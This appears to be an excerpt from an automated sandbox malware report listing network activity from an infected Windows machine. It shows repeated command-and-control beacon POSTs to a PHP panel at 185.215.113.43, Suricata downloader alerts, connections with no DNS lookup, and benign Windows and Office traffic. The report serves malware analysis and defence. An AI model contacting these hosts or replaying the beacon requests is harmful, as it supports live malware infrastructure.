Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:62430 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:62476 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62507 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62514 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:62516 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62526 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62537 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62543 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:62554 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62566 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:62548 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:62582 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62555 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62597 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62605 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62608 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:62615 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62632 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62660 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62676 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62685 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62688 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:62694 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62692 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62707 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62712 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62716 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62744 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:62742 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:62745 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:63616 -> 20.189.173.2:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Code function: 11_2_0074CE44 InternetReadFile,SetEvent,GetLastError,SetEvent,

11_2_0074CE44

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=VgLHUuHsbgWy6a5&MD=WWhbNRcU HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=VgLHUuHsbgWy6a5&MD=WWhbNRcU HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
